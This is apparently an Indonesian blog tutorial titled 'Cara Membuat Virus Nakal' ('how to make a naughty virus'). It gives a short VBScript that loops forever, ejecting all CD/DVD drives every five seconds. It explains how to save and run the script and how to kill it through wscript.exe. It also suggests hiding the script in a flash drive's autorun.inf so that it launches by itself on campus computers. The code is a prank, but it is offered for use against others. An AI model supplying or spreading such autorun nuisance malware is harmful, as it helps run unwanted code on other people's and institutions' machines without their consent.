Cara Membuat Virus Nakal

Ok kali ini Kita Iseng Iseng Aja,mengenai cara mudah dan keren Membuat virus nakal berikut caranya:
Ok Berikut Codingnya:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Simpanlah file dengan ekstensi file iseng.vbs atau apapun
nama kesukaan asalkan pastikan
ekstensinya .vbs, dan jalankan filenya (Klik 2x) , perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya
tanpa henti. Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL +ALT+DEL dan matikan proses wscripts.exe, Kalo
mau keren lagi, masukkan ke file autorun.inf di flashdisk sobat, jadi setiap kamu colokin ke kompie kampus, maka akan otomatis dijalankan Virus
Nakal ini..